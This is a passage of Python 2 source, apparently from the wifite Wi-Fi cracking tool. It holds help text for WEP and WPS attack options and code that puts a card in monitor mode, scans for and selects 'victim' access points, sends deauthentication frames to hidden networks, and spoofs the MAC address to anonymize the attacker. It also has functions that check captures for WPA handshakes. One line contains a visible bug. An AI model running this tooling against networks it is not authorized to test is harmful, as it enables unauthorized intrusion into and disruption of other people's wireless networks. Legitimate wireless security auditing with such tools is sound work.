  698.    
  699.     print head+'\n   WEP'+W
  700.     print sw+'\t-wep        \t'+des+'only target WEP networks '+de+'[off]'+W
  701.     print sw+'\t-pps '+var+'<num>  \t'+des+'set the number of packets per second to inject '+de+'[600]'+W
  702.     print sw+'\t-wept '+var+'<sec> \t'+des+'sec to wait for each attack, 0 implies endless '+de+'[600]'+W
  703.     print sw+'\t-chopchop   \t'+des+'use chopchop attack      '+de+'[on]'+W
  704.     print sw+'\t-arpreplay  \t'+des+'use arpreplay attack     '+de+'[on]'+W
  705.     print sw+'\t-fragment   \t'+des+'use fragmentation attack '+de+'[on]'+W
  706.     print sw+'\t-caffelatte \t'+des+'use caffe-latte attack   '+de+'[on]'+W
  707.     print sw+'\t-p0841      \t'+des+'use -p0841 attack        '+de+'[on]'+W
  708.     print sw+'\t-hirte      \t'+des+'use hirte (cfrag) attack '+de+'[on]'+W
  709.     print sw+'\t-nofakeauth \t'+des+'stop attack if fake authentication fails    '+de+'[off]'+W
  710.     print sw+'\t-wepca '+GR+'<n>  \t'+des+'start cracking when number of ivs surpass n '+de+'[10000]'+W
  711.     print sw+'\t-wepsave    \t'+des+'save a copy of .cap files to this directory '+de+'[off]'+W
  712.    
  713.     print head+'\n   WPS'+W
  714.     print sw+'\t-wps       \t'+des+'only target WPS networks         '+de+'[off]'+W
  715.     print sw+'\t-wpst '+var+'<sec>  \t'+des+'max wait for new retry before giving up (0: never)  '+de+'[0]'+W
  716.     print sw+'\t-wpsratio '+var+'<per>\t'+des+'min ratio of successful PIN attempts/total tries    '+de+'[0]'+W
  717.     print sw+'\t-wpsretry '+var+'<num>\t'+des+'max number of retries for same PIN before giving up '+de+'[0]'+W
  718.  
  719.     print head+'\n   EXAMPLE'+W
  720.     print sw+'\t./wifite.py '+W+'-wps -wep -c 6 -pps 600'+W
  721.     print ''
  722.  
  723.  
  724.  
  725.  
  726.  
  727.  
  728.  
  729.  
  730.  
  731.  
  732.  
  733. ###########################
  734. # WIRELESS CARD FUNCTIONS #
  735. ###########################
  736.  
  737.  
  738. def enable_monitor_mode(iface):
  739.     """
  740.         Uses airmon-ng to put a device into Monitor Mode.
  741.         Then uses the get_iface() method to retrieve the new interface's name.
  742.         Sets global variable IFACE_TO_TAKE_DOWN as well.
  743.         Returns the name of the interface in monitor mode.
  744.     """
  745.     global IFACE_TO_TAKE_DOWN
  746.     print GR+' [+]'+W+' enabling monitor mode on %s...' % (G+iface+W),
  747.     stdout.flush()
  748.     call(['airmon-ng', 'start', iface], stdout=DN, stderr=DN)
  749.     print 'done'
  750.     IFACE_TO_TAKE_DOWN = get_iface()
  751.     return IFACE_TO_TAKE_DOWN
  752.  
  753.  
  754. def disable_monitor_mode():
  755.     """
  756.         The program may have enabled monitor mode on a wireless interface.
  757.         We want to disable this before we exit, so we will do that.
  758.     """
  759.     if IFACE_TO_TAKE_DOWN == '': return
  760.     print GR+' [+]'+W+' disabling monitor mode on %s...' % (G+IFACE_TO_TAKE_DOWN+W),
  761.     stdout.flush()
  762.     call(['airmon-ng', 'stop', IFACE_TO_TAKE_DOWN], stdout=DN, stderr=DN)
  763.     print 'done'
  764.  
  765. PRINTED_SCANNING = False
  766. def get_iface():
  767.     """
  768.         Get the wireless interface in monitor mode.
  769.         Defaults to only device in monitor mode if found.
  770.         Otherwise, enumerates list of possible wifi devices
  771.         and asks user to select one to put into monitor mode (if multiple).
  772.         Uses airmon-ng to put device in monitor mode if needed.
  773.         Returns the name (string) of the interface chosen in monitor mode.
  774.     """
  775.     global PRINTED_SCANNING
  776.     if not PRINTED_SCANNING:
  777.         print GR+' [+]'+W+' scanning for wireless devices...'
  778.         PRINTED_SCANNING = True
  779.    
  780.     proc  = Popen(['iwconfig'], stdout=PIPE, stderr=DN)
  781.     iface = ''
  782.     monitors = []
  783.     for line in proc.communicate()[0].split('\n'):
  784.         if len(line) == 0: continue
  785.         if ord(line[0]) != 32: # Doesn't start with space
  786.             iface = line[:line.find(' ')] # is the interface
  787.         if line.find('Mode:Monitor') != -1:
  788.             monitors.append(iface)
  789.    
  790.     if WIRELESS_IFACE != '':
  791.         if monitors.count(WIRELESS_IFACE): return WIRELESS_IFACE
  792.         print R+' [!]'+O+' could not find wireless interface %s' % ('"'+R+WIRELESS_IFACE+O+'"'+W)
  793.  
  794.     if len(monitors) == 1:
  795.         return monitors[0] # Default to only device in monitor mode
  796.     elif len(monitors) > 1:
  797.         print GR+" [+]"+W+" interfaces in "+G+"monitor mode:"+W
  798.         for i, monitor in enumerate(monitors):
  799.             print "  %s. %s" % (G+str(i+1)+W, G+monitor+W)
  800.         ri = raw_input(GR+" [+]"+W+" select "+G+"number"+W+" of interface to use for capturing ("+G+"1-%d%s): "+G % len(monitors), W)
  801.         while not ri.isdigit() or int(ri) < 1 or int(ri) > len(monitors):
  802.             ri = raw_input(GR+" [+]"+W+" select number of interface to use for capturing (1-%d): "+G % len(monitors))
  803.         i = int(ri)
  804.         return monitors[i - 1]
  805.    
  806.     proc  = Popen(['airmon-ng'], stdout=PIPE, stderr=DN)
  807.     for line in proc.communicate()[0].split('\n'):
  808.         if len(line) == 0 or line.startswith('Interface'): continue
  809.         #monitors.append(line[:line.find('\t')])
  810.         monitors.append(line)
  811.    
  812.     if len(monitors) == 0:
  813.         print R+' [!]'+O+" no wireless interfaces were found."+W
  814.         print R+' [!]'+O+" you need to plug in a wifi device or install drivers.\n"+W
  815.         exit_gracefully(0)
  816.     elif WIRELESS_IFACE != '' and monitors.count(WIRELESS_IFACE) > 0:
  817.         mac_anonymize(monitor)
  818.         return enable_monitor-mode
  819.  
  820.     elif len(monitors) == 1:
  821.         monitor = monitors[0][:monitors[0].find('\t')]
  822.         mac_anonymize(monitor)
  823.        
  824.         return enable_monitor_mode(monitor)
  825.    
  826.     print GR+" [+]"+W+" available wireless devices:"
  827.     for i, monitor in enumerate(monitors):
  828.         print "  %s%d%s. %s" % (G, i + 1, W, monitor)
  829.    
  830.     ri = raw_input(GR+" [+]"+W+" select number of device to put into monitor mode (%s1-%d%s): " % (G, len(monitors), W))
  831.     while not ri.isdigit() or int(ri) < 1 or int(ri) > len(monitors):
  832.         ri = raw_input(" [+] select number of device to put into monitor mode (%s1-%d%s): " % (G, len(monitors), W))
  833.     i = int(ri)
  834.     monitor = monitors[i-1][:monitors[i-1].find('\t')]
  835.     mac_anonymize(monitor)
  836.    
  837.     return enable_monitor_mode(monitor)
  838.  
  839.  
  840.  
  841.  
  842.  
  843.  
  844.  
  845.  
  846. ######################
  847. # SCANNING FUNCTIONS #
  848. ######################
  849.  
  850.  
  851. def scan(channel=0, iface='', tried_rtl8187_fix=False):
  852.     """
  853.         Scans for access points. Asks user to select target(s).
  854.             "channel" - the channel to scan on, 0 scans all channels.
  855.             "iface"   - the interface to scan on. must be a real interface.
  856.             "tried_rtl8187_fix" - We have already attempted to fix "Unknown error 132"
  857.         Returns list of selected targets and list of clients.
  858.     """
  859.     remove_airodump_files(temp + 'wifite')
  860.    
  861.     command = ['airodump-ng',
  862.                '-a', # only show associated clients
  863.                '-w', temp + 'wifite'] # output file
  864.     if channel != 0:
  865.         command.append('-c')
  866.         command.append(str(channel))
  867.     command.append(iface)
  868.    
  869.     proc = Popen(command, stdout=DN, stderr=DN)
  870.    
  871.     time_started = time.time()
  872.     print GR+' [+] '+G+'initializing scan'+W+' ('+G+iface+W+'), updates at 5 sec intervals, '+G+'CTRL+C'+W+' when ready.'
  873.     (targets, clients) = ([], [])
  874.     try:
  875.         deauth_sent = 0.0
  876.         old_targets = []
  877.         stop_scanning = False
  878.         while True:
  879.             time.sleep(0.3)
  880.             if not os.path.exists(temp + 'wifite-01.csv') and time.time() - time_started > 1.0:
  881.                 print R+'\n [!] ERROR!'+W
  882.                 # RTL8187 Unknown Error 132 FIX
  883.                 if proc.poll() != None: # Check if process has finished
  884.                     proc = Popen(['airodump-ng', iface], stdout=DN, stderr=PIPE)
  885.                     if not tried_rtl8187_fix and proc.communicate()[1].find('failed: Unknown error 132') != -1:
  886.                         if rtl8187_fix(iface):
  887.                             return scan(channel=channel, iface=iface, tried_rtl8187_fix=True)
  888.                 print R+' [!]'+O+' wifite is unable to generate airodump-ng output files'+W
  889.                 print R+' [!]'+O+' you may want to disconnect/reconnect your wifi device'+W
  890.                 exit_gracefully(1)
  891.                
  892.             (targets, clients) = parse_csv(temp + 'wifite-01.csv')
  893.            
  894.             # If we are targeting a specific ESSID/BSSID, skip the scan once we find it.
  895.             if TARGET_ESSID != '':
  896.                 for t in targets:
  897.                     if t.ssid.lower() == TARGET_ESSID.lower():
  898.                         send_interrupt(proc)
  899.                         try: os.kill(proc.pid, SIGTERM)
  900.                         except OSError: pass
  901.                         except UnboundLocalError: pass
  902.                         targets = [t]
  903.                         stop_scanning = True
  904.                         break
  905.             if TARGET_BSSID != '':
  906.                 for t in targets:
  907.                     if t.bssid.lower() == TARGET_BSSID.lower():
  908.                         send_interrupt(proc)
  909.                         try: os.kill(proc.pid, SIGTERM)
  910.                         except OSError: pass
  911.                         except UnboundLocalError: pass
  912.                         targets = [t]
  913.                         stop_scanning = True
  914.                         break
  915.            
  916.             # If user has chosen to target all access points, wait 20 seconds, then return all
  917.             if ATTACK_ALL_TARGETS and time.time() - time_started > 10:
  918.                 print GR+'\n [+]'+W+' auto-targeted %s%d%s access point%s' % (G, len(targets), W, '' if len(targets) == 1 else 's')
  919.                 stop_scanning = True
  920.                
  921.             if ATTACK_MIN_POWER > 0 and time.time() - time_started > 10:
  922.                 # Remove targets with power < threshold
  923.                 i = 0
  924.                 before_count = len(targets)
  925.                 while i < len(targets):
  926.                     if targets[i].power < ATTACK_MIN_POWER:
  927.                         targets.pop(i)
  928.                     else: i += 1
  929.                 print GR+'\n [+]'+W+' removed %s targets with power < %ddB, %s remain' % \
  930.                                 (G+str(before_count - len(targets))+W, ATTACK_MIN_POWER, G+str(len(targets))+W)
  931.                 stop_scanning = True
  932.            
  933.             if stop_scanning: break
  934.            
  935.             # If there are unknown SSIDs, send deauths to them.
  936.             if channel != 0 and time.time() - deauth_sent > 5:
  937.                 deauth_sent = time.time()
  938.                 for t in targets:
  939.                     if t.ssid == '':
  940.                         print "\r %s deauthing hidden access point (%s)               \r" % \
  941.                               (GR+sec_to_hms(time.time() - time_started)+W, G+t.bssid+W),
  942.                         stdout.flush()
  943.                         # Time to deauth
  944.                         cmd = ['aireplay-ng',
  945.                                '--deauth', '1',
  946.                                '-a', t.bssid]
  947.                         for c in clients:
  948.                             if c.station == t.bssid:
  949.                                 cmd.append('-c')
  950.                                 cmd.append(c.bssid)
  951.                                 break
  952.                         cmd.append(iface)
  953.                         proc_aireplay = Popen(cmd, stdout=DN, stderr=DN)
  954.                         proc_aireplay.wait()
  955.                         time.sleep(0.5)
  956.                     else:
  957.                         for ot in old_targets:
  958.                             if ot.ssid == '' and ot.bssid == t.bssid:
  959.                                 print '\r %s successfully decloaked "%s"                     ' % \
  960.                                         (GR+sec_to_hms(time.time() - time_started)+W, G+t.ssid+W)
  961.                
  962.                 old_targets = targets[:]
  963.            
  964.             print ' %s %s wireless networks. %s target%s and %s client%s found   \r' % (
  965.                   GR+sec_to_hms(time.time() - time_started)+W, G+'scanning'+W,
  966.                   G+str(len(targets))+W, '' if len(targets) == 1 else 's',
  967.                   G+str(len(clients))+W, '' if len(clients) == 1 else 's'),
  968.             stdout.flush()
  969.     except KeyboardInterrupt:
  970.         pass
  971.     print ''
  972.    
  973.     send_interrupt(proc)
  974.     try: os.kill(proc.pid, SIGTERM)
  975.     except OSError: pass
  976.     except UnboundLocalError: pass
  977.    
  978.     # Use "wash" program to check for WPS compatibility
  979.     if not WPS_DISABLE:
  980.         wps_check_targets(targets, temp + 'wifite-01.cap')
  981.    
  982.     remove_airodump_files(temp + 'wifite')
  983.    
  984.     if stop_scanning: return (targets, clients)
  985.     print ''
  986.    
  987.     if len(targets) == 0:
  988.         print R+' [!]'+O+' no targets found!'+W
  989.         print R+' [!]'+O+' you may need to wait for targets to show up.'+W
  990.         print ''
  991.         exit_gracefully(1)
  992.    
  993.     # Sort by Power
  994.     targets = sorted(targets, key=lambda t: t.power, reverse=True)
  995.    
  996.     victims = []
  997.     print "   NUM ESSID                 %sCH  ENCR  POWER  WPS?  CLIENT" % ('BSSID              ' if SHOW_MAC_IN_SCAN else '')
  998.     print '   --- --------------------  %s--  ----  -----  ----  ------' % ('-----------------  ' if SHOW_MAC_IN_SCAN else '')
  999.     for i, target in enumerate(targets):
  1000.         print "   %s%2d%s " % (G, i + 1, W),
  1001.         # SSID
  1002.         if target.ssid == '':
  1003.             p = O+'('+target.bssid+')'+GR+' '+W
  1004.             print '%s' % p.ljust(20),
  1005.         elif ( target.ssid.count('\x00') == len(target.ssid) ):
  1006.             p = '<Length '+str(len(target.ssid))+'>'
  1007.             print '%s' % C+p.ljust(20)+W,
  1008.         elif len(target.ssid) <= 20:
  1009.             print "%s" % C+target.ssid.ljust(20)+W,
  1010.         else:
  1011.             print "%s" % C+target.ssid[0:17] + '...'+W,
  1012.         # BSSID
  1013.         if SHOW_MAC_IN_SCAN:
  1014.             print O,target.bssid+W,
  1015.         # Channel
  1016.         print G+target.channel.rjust(3),W,
  1017.         # Encryption
  1018.         if target.encryption.find("WEP") != -1: print G,
  1019.         else:                                   print O,
  1020.         print "\b%3s" % target.encryption.strip().ljust(4) + W,
  1021.         # Power
  1022.         if target.power >= 55:   col = G
  1023.         elif target.power >= 40: col = O
  1024.         else:                    col = R
  1025.         print "%s%3ddb%s" % (col,target.power, W),
  1026.         # WPS
  1027.         if WPS_DISABLE:
  1028.             print "  %3s" % (O+'n/a'+W),
  1029.         else:
  1030.             print "  %3s" % (G+'wps'+W if target.wps else R+' no'+W),
  1031.         # Clients
  1032.         client_text = ''
  1033.         for c in clients:
  1034.             if c.station == target.bssid:
  1035.                 if client_text == '': client_text = 'client'
  1036.                 elif client_text[-1] != "s": client_text += "s"
  1037.         if client_text != '': print '  %s' % (G+client_text+W)
  1038.         else: print ''
  1039.    
  1040.     ri = raw_input(GR+"\n [+]"+W+" select "+G+"target numbers"+W+" ("+G+"1-%s)" % (str(len(targets))+W) + \
  1041.                          " separated by commas, or '%s': " % (G+'all'+W))
  1042.     if ri.strip().lower() == 'all':
  1043.         victims = targets[:]
  1044.     else:
  1045.         for r in ri.split(','):
  1046.             r = r.strip()
  1047.             if r.find('-') != -1:
  1048.                 (sx, sy) = r.split('-')
  1049.                 if sx.isdigit() and sy.isdigit():
  1050.                     x = int(sx)
  1051.                     y = int(sy) + 1
  1052.                     for v in xrange(x, y):
  1053.                         victims.append(targets[v - 1])
  1054.             elif not r.isdigit() and r.strip() != '':
  1055.                 print O+" [!]"+R+" not a number: %s " % (O+r+W)
  1056.             elif r != '':
  1057.                 victims.append(targets[int(r) - 1])
  1058.        
  1059.     if len(victims) == 0:
  1060.         print O+'\n [!] '+R+'no targets selected.\n'+W
  1061.         exit_gracefully(0)
  1062.    
  1063.     print ''
  1064.     print ' [+] %s%d%s target%s selected.' % (G, len(victims), W, '' if len(victims) == 1 else 's')
  1065.    
  1066.     return (victims, clients)
  1067.  
  1068.  
  1069. def parse_csv(filename):
  1070.     """
  1071.         Parses given lines from airodump-ng CSV file.
  1072.         Returns tuple: List of targets and list of clients.
  1073.     """
  1074.     if not os.path.exists(filename): return ([], [])
  1075.     try:
  1076.         f = open(filename, 'r')
  1077.         lines = f.read().split('\n')
  1078.         f.close()
  1079.     except IOError: return ([], [])
  1080.    
  1081.     hit_clients = False
  1082.     targets = []
  1083.     clients = []
  1084.     for line in lines:
  1085.         if line.startswith('Station MAC,'): hit_clients = True
  1086.         if line.startswith('BSSID') or line.startswith('Station MAC') or line.strip() == '': continue
  1087.         if not hit_clients: # Access points
  1088.             c = line.split(', ', 13)
  1089.             if len(c) < 6: continue
  1090.             cur = 11
  1091.             c[cur] = c[cur].strip()
  1092.             if not c[cur].isdigit(): cur += 1
  1093.            
  1094.             ssid = c[cur+1]
  1095.             ssidlen = int(c[cur])
  1096.             ssid = ssid[:ssidlen]
  1097.            
  1098.             power = int(c[cur-4])
  1099.             if power < 0: power += 100
  1100.            
  1101.             enc = c[5]
  1102.             # Ignore non-WPA/WEP networks.
  1103.             if enc.find('WPA') == -1 and enc.find('WEP') == -1: continue
  1104.             if WEP_DISABLE and enc.find('WEP') != -1: continue
  1105.             if WPA_DISABLE and WPS_DISABLE and enc.find('WPA') != -1: continue
  1106.             enc = enc.strip()[:4]
  1107.            
  1108.             t = Target(c[0], power, c[cur-2].strip(), c[3], enc, ssid)
  1109.             targets.append(t)
  1110.         else: # Connected clients
  1111.             c = line.split(', ')
  1112.             if len(c) < 6: continue
  1113.             bssid   = re.sub(r'[^a-zA-Z0-9:]', '', c[0])
  1114.             station = re.sub(r'[^a-zA-Z0-9:]', '', c[5])
  1115.             power   = c[3]
  1116.             if station != 'notassociated':
  1117.                 c = Client(bssid, station, power)
  1118.                 clients.append(c)
  1119.     return (targets, clients)
  1120.  
  1121.  
  1122. def wps_check_targets(targets, cap_file):
  1123.     """
  1124.         Uses reaver's "walsh" (or wash) program to check access points in cap_file
  1125.         for WPS functionality. Sets "wps" field of targets that match to True.
  1126.     """
  1127.     global WPS_DISABLE
  1128.    
  1129.     if not program_exists('walsh') and not program_exists('wash'):
  1130.         WPS_DISABLE = True # Tell 'scan' we were unable to execute walsh
  1131.         return
  1132.     program_name = 'walsh' if program_exists('walsh') else 'wash'
  1133.    
  1134.     if len(targets) == 0 or not os.path.exists(cap_file): return
  1135.     print GR+' [+]'+W+' checking for '+G+'WPS compatibility'+W+'...',
  1136.     stdout.flush()
  1137.    
  1138.     cmd = [program_name,
  1139.            '-f', cap_file,
  1140.            '-C'] # ignore Frame Check Sum errors
  1141.     proc_walsh = Popen(cmd, stdout=PIPE, stderr=DN)
  1142.     proc_walsh.wait()
  1143.     for line in proc_walsh.communicate()[0].split('\n'):
  1144.         if line.strip() == '' or line.startswith('Scanning for'): continue
  1145.         bssid = line.split(' ')[0]
  1146.        
  1147.         for t in targets:
  1148.             if t.bssid.lower() == bssid.lower():
  1149.                 t.wps = True
  1150.     print 'done'
  1151.     removed = 0
  1152.     if not WPS_DISABLE and WPA_DISABLE:
  1153.         i = 0
  1154.         while i < len(targets):
  1155.             if not targets[i].wps and targets[i].encryption.find('WPA') != -1:
  1156.                 removed += 1
  1157.                 targets.pop(i)
  1158.             else: i += 1
  1159.         if removed > 0: print GR+' [+]'+O+' removed %d non-WPS-enabled targets%s' % (removed, W)
  1160.  
  1161.  
  1162. def rtl8187_fix(iface):
  1163.     """
  1164.         Attempts to solve "Unknown error 132" common with RTL8187 devices.
  1165.         Puts down interface, unloads/reloads driver module, then puts iface back up.
  1166.         Returns True if fix was attempted, False otherwise.
  1167.     """
  1168.     # Check if current interface is using the RTL8187 chipset
  1169.     proc_airmon = Popen(['airmon-ng'], stdout=PIPE, stderr=DN)
  1170.     proc_airmon.wait()
  1171.     using_rtl8187 = False
  1172.     for line in proc_airmon.communicate()[0].split():
  1173.         line = line.upper()
  1174.         if line.strip() == '' or line.startswith('INTERFACE'): continue
  1175.         if line.find(iface.upper()) and line.find('RTL8187') != -1: using_rtl8187 = True
  1176.    
  1177.     if not using_rtl8187:
  1178.         # Display error message and exit
  1179.         print R+' [!]'+O+' unable to generate airodump-ng CSV file'+W
  1180.         print R+' [!]'+O+' you may want to disconnect/reconnect your wifi device'+W
  1181.         exit_gracefully(1)
  1182.    
  1183.     print O+" [!]"+W+" attempting "+O+"RTL8187 'Unknown Error 132'"+W+" fix..."
  1184.    
  1185.     original_iface = iface
  1186.     # Take device out of monitor mode
  1187.     airmon = Popen(['airmon-ng', 'stop', iface], stdout=PIPE, stderr=DN)
  1188.     airmon.wait()
  1189.     for line in airmon.communicate()[0].split('\n'):
  1190.         if line.strip() == '' or \
  1191.            line.startswith("Interface") or \
  1192.            line.find('(removed)') != -1:
  1193.             continue
  1194.         original_iface = line.split()[0] # line[:line.find('\t')]
  1195.    
  1196.     # Remove drive modules, block/unblock ifaces, probe new modules.
  1197.     print_and_exec(['ifconfig', original_iface, 'down'])
  1198.     print_and_exec(['rmmod', 'rtl8187'])
  1199.     print_and_exec(['rfkill', 'block', 'all'])
  1200.     print_and_exec(['rfkill', 'unblock', 'all'])
  1201.     print_and_exec(['modprobe', 'rtl8187'])
  1202.     print_and_exec(['ifconfig', original_iface, 'up'])
  1203.     print_and_exec(['airmon-ng', 'start', original_iface])
  1204.    
  1205.     print '\r                                                        \r',
  1206.     print O+' [!] '+W+'restarting scan...\n'
  1207.    
  1208.     return True
  1209.  
  1210.  
  1211. def print_and_exec(cmd):
  1212.     """
  1213.         Prints and executes command "cmd". Also waits half a second
  1214.         Used by rtl8187_fix (for prettiness)
  1215.     """
  1216.     print '\r                                                        \r',
  1217.     stdout.flush()
  1218.     print O+' [!] '+W+'executing: '+O+' '.join(cmd) + W,
  1219.     stdout.flush()
  1220.     call(cmd, stdout=DN, stderr=DN)
  1221.     time.sleep(0.1)
  1222.  
  1223.  
  1224.  
  1225.  
  1226.  
  1227.  
  1228.  
  1229.  
  1230.  
  1231.  
  1232.  
  1233.  
  1234.  
  1235.  
  1236.  
  1237.  
  1238.  
  1239.  
  1240.  
  1241. ####################
  1242. # HELPER FUNCTIONS #
  1243. ####################
  1244.  
  1245. def remove_airodump_files(prefix):
  1246.     """
  1247.         Removes airodump output files for whatever file prefix ('wpa', 'wep', etc)
  1248.         Used by wpa_get_handshake() and attack_wep()
  1249.     """
  1250.     remove_file(prefix + '-01.cap')
  1251.     remove_file(prefix + '-01.csv')
  1252.     remove_file(prefix + '-01.kismet.csv')
  1253.     remove_file(prefix + '-01.kismet.netxml')
  1254.     for filename in os.listdir(temp):
  1255.         if filename.lower().endswith('.xor'): remove_file(temp + filename)
  1256.     for filename in os.listdir('.'):
  1257.         if filename.startswith('replay_') and filename.endswith('.cap'):
  1258.             remove_file(filename)
  1259.         if filename.endswith('.xor'): remove_file(filename)
  1260.    
  1261.  
  1262. def remove_file(filename):
  1263.     """
  1264.         Attempts to remove a file. Does not throw error if file is not found.
  1265.     """
  1266.     try: os.remove(filename)
  1267.     except OSError: pass
  1268.  
  1269.  
  1270. def program_exists(program):
  1271.     """
  1272.         Uses 'which' (linux command) to check if a program is installed.
  1273.     """
  1274.    
  1275.     proc = Popen(['which', program], stdout=PIPE, stderr=PIPE)
  1276.     txt = proc.communicate()
  1277.     if txt[0].strip() == '' and txt[1].strip() == '':
  1278.         return False
  1279.     if txt[0].strip() != '' and txt[1].strip() == '':
  1280.         return True
  1281.    
  1282.     return not (txt[1].strip() == '' or txt[1].find('no %s in' % program) != -1)
  1283.  
  1284.  
  1285. def sec_to_hms(sec):
  1286.     """
  1287.         Converts integer sec to h:mm:ss format
  1288.     """
  1289.     if sec <= -1: return '[endless]'
  1290.     h = sec / 3600
  1291.     sec %= 3600
  1292.     m  = sec / 60
  1293.     sec %= 60
  1294.     return '[%d:%02d:%02d]' % (h, m, sec)
  1295.  
  1296.  
  1297. def send_interrupt(process):
  1298.     """
  1299.         Sends interrupt signal to process's PID.
  1300.     """
  1301.     try:
  1302.         os.kill(process.pid, SIGINT)
  1303.         # os.kill(process.pid, SIGTERM)
  1304.     except OSError: pass           # process cannot be killed
  1305.     except TypeError: pass         # pid is incorrect type
  1306.     except UnboundLocalError: pass # 'process' is not defined
  1307.     except AttributeError: pass    # Trying to kill "None"
  1308.  
  1309.  
  1310. def get_mac_address(iface):
  1311.     """
  1312.         Returns MAC address of "iface".
  1313.     """
  1314.     proc = Popen(['ifconfig', iface], stdout=PIPE, stderr=DN)
  1315.     proc.wait()
  1316.     mac = ''
  1317.     first_line = proc.communicate()[0].split('\n')[0]
  1318.     for word in first_line.split(' '):
  1319.         if word != '': mac = word
  1320.     if mac.find('-') != -1: mac = mac.replace('-', ':')
  1321.     if len(mac) > 17: mac = mac[0:17]
  1322.     return mac
  1323.  
  1324.  
  1325. def generate_random_mac(old_mac):
  1326.     """
  1327.         Generates a random MAC address.
  1328.         Keeps the same vender (first 6 chars) of the old MAC address (old_mac).
  1329.         Returns string in format old_mac[0:9] + :XX:XX:XX where X is random hex
  1330.     """
  1331.     random.seed()
  1332.     new_mac = old_mac[:8].lower().replace('-', ':')
  1333.     for i in xrange(0, 6):
  1334.         if i % 2 == 0: new_mac += ':'
  1335.         new_mac += '0123456789abcdef'[random.randint(0,15)]
  1336.    
  1337.     # Prevent generating the same MAC address via recursion.
  1338.     if new_mac == old_mac:
  1339.         new_mac = generate_random_mac(old_mac)
  1340.     return new_mac
  1341.  
  1342.  
  1343. def mac_anonymize(iface):
  1344.     """
  1345.         Changes MAC address of 'iface' to a random MAC.
  1346.         Only randomizes the last 6 digits of the MAC, so the vender says the same.
  1347.         Stores old MAC address and the interface in ORIGINAL_IFACE_MAC
  1348.     """
  1349.     global ORIGINAL_IFACE_MAC
  1350.     if DO_NOT_CHANGE_MAC: return
  1351.     if not program_exists('ifconfig'): return
  1352.    
  1353.     # Store old (current) MAC address
  1354.     proc = Popen(['ifconfig', iface], stdout=PIPE, stderr=DN)
  1355.     proc.wait()
  1356.     for word in proc.communicate()[0].split('\n')[0].split(' '):
  1357.         if word != '': old_mac = word
  1358.     ORIGINAL_IFACE_MAC = (iface, old_mac)
  1359.    
  1360.     new_mac = generate_random_mac(old_mac)
  1361.    
  1362.     call(['ifconfig', iface, 'down'])
  1363.    
  1364.     print GR+" [+]"+W+" changing %s's MAC from %s to %s..." % (G+iface+W, G+old_mac+W, O+new_mac+W),
  1365.     stdout.flush()
  1366.    
  1367.     proc = Popen(['ifconfig', iface, 'hw', 'ether', new_mac], stdout=PIPE, stderr=DN)
  1368.     proc.wait()
  1369.     call(['ifconfig', iface, 'up'], stdout=DN, stderr=DN)
  1370.     print 'done'
  1371.  
  1372.  
  1373. def mac_change_back():
  1374.     """
  1375.         Changes MAC address back to what it was before attacks began.
  1376.     """
  1377.     iface = ORIGINAL_IFACE_MAC[0]
  1378.     old_mac = ORIGINAL_IFACE_MAC[1]
  1379.     if iface == '' or old_mac == '': return
  1380.    
  1381.     print GR+" [+]"+W+" changing %s's mac back to %s..." % (G+iface+W, G+old_mac+W),
  1382.     stdout.flush()
  1383.    
  1384.     call(['ifconfig', iface, 'down'], stdout=DN, stderr=DN)
  1385.     proc = Popen(['ifconfig', iface, 'hw', 'ether', old_mac], stdout=PIPE, stderr=DN)
  1386.     proc.wait()
  1387.     call(['ifconfig', iface, 'up'], stdout=DN, stderr=DN)
  1388.     print "done"
  1389.  
  1390.  
  1391. def analyze_capfile(capfile):
  1392.     """
  1393.         Analyzes given capfile for handshakes using various programs.
  1394.         Prints results to console.
  1395.     """
  1396.     global TARGET_BSSID, TARGET_ESSID
  1397.    
  1398.     if TARGET_ESSID == '' and TARGET_BSSID == '':
  1399.         print R+' [!]'+O+' target ssid and bssid are required to check for handshakes'
  1400.         print R+' [!]'+O+' please enter essid (access point name) using -e <name>'
  1401.         print R+' [!]'+O+' and/or target bssid (mac address) using -b <mac>\n'
  1402.         # exit_gracefully(1)
  1403.    
  1404.     if TARGET_BSSID == '':
  1405.         # Get the first BSSID found in tshark!
  1406.         TARGET_BSSID = get_bssid_from_cap(TARGET_ESSID, capfile)
  1407.         # if TARGET_BSSID.find('->') != -1: TARGET_BSSID == ''
  1408.         if TARGET_BSSID == '':
  1409.             print R+' [!]'+O+' unable to guess BSSID from ESSID!'
  1410.         else:
  1411.             print GR+' [+]'+W+' guessed bssid: %s' % (G+TARGET_BSSID+W)
  1412.    
  1413.     if TARGET_BSSID != '' and TARGET_ESSID == '':
  1414.         TARGET_ESSID = get_essid_from_cap(TARGET_BSSID, capfile)
  1415.        
  1416.     print GR+'\n [+]'+W+' checking for handshakes in %s' % (G+capfile+W)
  1417.    
  1418.     t = Target(TARGET_BSSID, '', '', '', 'WPA', TARGET_ESSID)
  1419.    
  1420.     if program_exists('pyrit'):
  1421.         result = has_handshake_pyrit(t, capfile)
  1422.         print GR+' [+]'+W+'    '+G+'pyrit'+W+':\t\t\t %s' % (G+'found!'+W if result else O+'not found'+W)
  1423.     else: print R+' [!]'+O+' program not found: pyrit'
  1424.     if program_exists('cowpatty'):
  1425.         result = has_handshake_cowpatty(t, capfile, nonstrict=True)
  1426.         print GR+' [+]'+W+'    '+G+'cowpatty'+W+' (nonstrict):\t %s' % (G+'found!'+W if result else O+'not found'+W)
  1427.         result = has_handshake_cowpatty(t, capfile, nonstrict=False)
  1428.         print GR+' [+]'+W+'    '+G+'cowpatty'+W+' (strict):\t %s' % (G+'found!'+W if result else O+'not found'+W)
  1429.     else: print R+' [!]'+O+' program not found: cowpatty'
  1430.     if program_exists('tshark'):
  1431.         result = has_handshake_tshark(t, capfile)
  1432.         print GR+' [+]'+W+'    '+G+'tshark'+W+':\t\t\t %s' % (G+'found!'+W if result else O+'not found'+W)
  1433.     else: print R+' [!]'+O+' program not found: tshark'
  1434.     if program_exists('aircrack-ng'):
  1435.         result = has_handshake_aircrack(t, capfile)
  1436.         print GR+' [+]'+W+'    '+G+'aircrack-ng'+W+':\t\t %s' % (G+'found!'+W if result else O+'not found'+W)
  1437.     else: print R+' [!]'+O+' program not found: aircrack-ng'
  1438.  
  1439.     print ''
  1440.  
  1441.     exit_gracefully(0)
  1442.  
  1443.  
  1444. def get_essid_from_cap(bssid, capfile):
  1445.     """
  1446.         Attempts to get ESSID from cap file using BSSID as reference.
  1447.         Returns '' if not found.
  1448.     """
  1449.     if not program_exists('tshark'): return ''
  1450.  
  1451.     cmd = ['tshark',
  1452.            '-r', capfile,
  1453.            '-R', 'wlan.fc.type_subtype == 0x05 && wlan.sa == %s' % bssid,
  1454.            '-n']
